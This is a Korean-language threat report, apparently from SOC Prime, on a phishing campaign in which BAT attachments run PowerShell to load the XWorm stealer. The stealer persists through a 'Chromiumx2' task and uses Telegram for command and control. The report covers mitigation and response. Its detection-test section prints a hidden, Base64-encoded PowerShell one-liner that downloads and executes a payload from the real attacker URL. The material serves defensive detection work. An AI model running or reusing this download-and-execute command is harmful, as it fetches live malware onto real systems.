SOC Prime Bias: 중간

06 2월 2026 18:26

더 많은 악성 코드를 전달하는 악성 스크립트

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
더 많은 악성 코드를 전달하는 악성 스크립트
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

피싱 이메일은 BAT 스크립트를 포함한 악성 첨부 파일을 전달하며, 이는 PowerShell을 실행하여 Base64로 인코딩된 페이로드를 다운로드합니다. 디코딩 후, 페이로드는 호스트를 지문으로 찍고 텔레그램 봇을 통해 수집된 데이터를 탈취하는 .NET 스틸러 XWorm으로 해석됩니다. 지속성은 드롭된 실행 파일을 반복적으로 실행하는 예약된 작업을 만들어 확립됩니다. 이 운영은 가짜 이미지 호스팅 미끼 및 페이로드 스테이징에 사용된 적어도 하나의 손상된 IP를 포함한 여러 인프라 요소에 의존합니다.

조사

BAT 스크립트 검토 결과 공격자가 제어하는 도메인에서 PNG 모양의 파일을 가져오는 PowerShell 원라이너가 노출되었습니다. 포함된 Base64 콘텐츠는 처리, 역전, 디코딩되어 .NET 실행 파일을 재구축합니다. 바이너리 분석 결과 악성코드는 Chromiumx2 라는 이름으로 예약된 작업을 등록하고, 커맨드 및 컨트롤과 데이터 유출을 위해 텔레그램의 API를 사용합니다. 조사자들은 실행 중 참조된 호스팅 도메인, 관련 IP 주소 및 텔레그램 API 엔드포인트를 포함한 주요 네트워크 지표를 추출했습니다.

완화

이메일 첨부 파일 또는 사용자 다운로드 디렉토리에서 유래한 신뢰할 수 없는 BAT 및 PowerShell 콘텐츠의 실행을 방지합니다. 응용 프로그램 허용 목록을 적용하여 예약 작업 생성을 제한하고 의심스러운 새 작업 등록에 플래그를 지정하세요. Telegram API 엔드포인트에 대한 아웃바운드 액세스를 모니터링하고 가능할 경우 제한하며, 식별된 악성 도메인을 DNS/프록시 계층에서 차단하세요. 끝점 탐지를 최신 관찰 지표와 스크립트 기반 다운로드 패턴으로 업데이트하십시오.

대응

Chromiumx2 예약 작업이나 Chromiumx2.exe가 관찰된 끝점을 격리하십시오. 예약 작업을 제거하고 악성 바이너리를 삭제하며, 포렌식 범위를 위해 아티팩트(스크립트, 디코딩된 페이로드, 작업 XML 및 관련 로그)를 수집하세요. 동일한 작업 이름, 유사한 PowerShell 디코드 동작 및 텔레그램 기반 트래픽을 환경 전반에서 추적하세요. 잠재적으로 노출된 자격 증명을 재설정하고 피싱 첨부 파일에 대해 사용자에게 알림을 보내 반복 실행을 줄이세요.

graph TB %% 클래스 정의 classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% 노드 initial_access[“<b>기술</b> – T1566.001 스피어피싱 첨부파일<br/><b>설명</b>: 공격자가 .bat 첨부파일이 포함된 악성 이메일을 전송한다.”]:::technique attachment_file[“<b>파일</b> – malicious_attachment.bat<br/><b>목적</b>: 숨겨진 셸코드를 포함한 PNG 이미지를 드롭한다.”]:::file masquerading[“<b>기술</b> – T1036.008 파일 유형 위장<br/><b>설명</b>: optimized_MSI.png 로 명명된 PNG 파일은 실제로 BaseStart- 및 -BaseEnd 로 구분된 셸코드를 포함한다.”]:::technique png_image[“<b>파일</b> – optimized_MSI.png<br/><b>내용</b>: 구분자가 포함된 내장 셸코드.”]:::file user_execution[“<b>기술</b> – T1204 사용자 실행<br/><b>설명</b>: 피해자가 악성 배치 파일을 실행한다.”]:::technique powershell_exec[“<b>기술</b> – T1059.001 PowerShell<br/><b>설명</b>: Base64 데이터를 디코딩하고, 16진 문자열을 반전시킨 후 셸코드를 실행한다.”]:::technique obfuscation[“<b>기술</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>설명</b>: 페이로드는 더미 데이터, 반전된 16진수, 동적 컴파일, 스테가노그래피, 동적 API 해석으로 난독화된다.”]:::technique c2_communication[“<b>기술</b> – T1059.009 클라우드 API, T1102.002 양방향 웹 서비스, T1102.003 단방향 통신<br/><b>설명</b>: .NET 백도어가 Telegram Bot API를 C2로 사용한다.”]:::c2 telegram_api[“<b>도구</b> – Telegram Bot API<br/><b>엔드포인트</b>: api.telegram.org”]:::tool persistence[“<b>기술</b> – T1543 시스템 프로세스 생성 또는 수정, T1546.002 이벤트 트리거 실행, T1547.014 Active Setup<br/><b>설명</b>: 예약 작업 \”Chromiumx2\”가 매분 실행되며, 화면 보호기와 Active Setup이 실행을 강제한다.”]:::technique scheduled_task[“<b>프로세스</b> – schtasks<br/><b>작업</b>: Chromiumx2”]:::process priv_esc[“<b>기술</b> – T1055 프로세스 인젝션, T1574 실행 흐름 하이재킹<br/><b>설명</b>: 합법적인 프로세스에 셸코드를 주입하여 권한을 상승시킨다.”]:::technique process_injection[“<b>프로세스</b> – 정상 프로세스<br/><b>대상</b>: 주입된 셸코드를 수신한다.”]:::process credential_access[“<b>기술</b> – T1555.003 웹 브라우저 자격 증명, T1539 웹 세션 쿠키 탈취<br/><b>설명</b>: Chrome 인젝터가 비밀번호, 쿠키 및 기타 브라우저 데이터를 수집한다.”]:::technique chrome_injector[“<b>악성코드</b> – Chrome Injector<br/><b>기능</b>: 저장된 자격 증명과 세션 쿠키를 추출한다.”]:::malware discovery[“<b>기술</b> – T1217 브라우저 정보 탐색<br/><b>설명</b>: Chrome 프로필 경로와 저장된 자격 증명을 열거한다.”]:::technique exfiltration[“<b>기술</b> – T1041 C2 채널을 통한 유출<br/><b>설명</b>: 수집된 자격 증명과 시스템 정보가 Telegram 채널을 통해 전송된다.”]:::technique lateral_movement[“<b>기술</b> – T1080 공유 콘텐츠 오염, T1210 원격 서비스 악용<br/><b>설명</b>: 추가 확산을 위해 추가 페이로드를 다운로드한다.”]:::technique additional_payload[“<b>파일</b> – buildingmoney.txt<br/><b>목적</b>: 측면 이동을 위한 추가 악성 코드를 포함한다.”]:::file %% 연결 initial_access –>|전달| attachment_file attachment_file –>|생성| masquerading masquerading –>|생성| png_image png_image –>|사용됨| user_execution user_execution –>|트리거| powershell_exec powershell_exec –>|수행| obfuscation obfuscation –>|연결| c2_communication c2_communication –>|사용| telegram_api c2_communication –>|설정| persistence persistence –>|생성| scheduled_task scheduled_task –>|실행| priv_esc priv_esc –>|주입| process_injection process_injection –>|활성화| credential_access credential_access –>|구현| chrome_injector chrome_injector –>|수집| discovery discovery –>|전달| exfiltration exfiltration –>|전송| c2_communication c2_communication –>|다운로드| additional_payload additional_payload –>|활성화| lateral_movement

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 및 베이스라인 사전 검사 통과 필요.

  • 공격 서사 및 명령:
    공격자는 손상된 웹 서버에서 악성 페이로드를 다운로드하고 실행하려고 합니다. 기존의 서명 탐지를 회피하기 위해, 다운로드 및 실행 논리를 하나의 Base64 문자열 내에 임베드하고 PowerShell을 -EncodedCommand로 호출합니다. 이 명령은 탐지 규칙이 모니터링하는 정확한 URL을 참조합니다 (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. 악성 페이로드 인코딩 (수신한 스크립트를 실행하는 간단한 다운로드 프로그램):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      결과 B64 (예시): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (잘림).

    2. 인코딩된 명령 실행:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    이 한 줄은 Sigma 규칙이 기대하는 정확한 텔레메트리를 생성합니다: PowerShell 프로세스, -EncodedCommand 플래그 및 디코딩된 스크립트 블록 내부의 악성 URL.

  • 회귀 테스트 스크립트:

    #-------------------------------------------------
    # 감지 규칙을 트리거하기 위한 회귀 스크립트
    #-------------------------------------------------
    # 1. 악성 페이로드 생성
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. 인코딩된 PowerShell 명령을 통해 페이로드 실행
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Malicious encoded command executed."
    #-------------------------------------------------
  • 정리 명령:

    # 임시 파일 제거 (페이로드가 직접 스트리밍되어 예상되지 않음)
    # 테스트에 의해 시작된 모든 숨겨진 PowerShell 프로세스 종료
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Cleanup complete."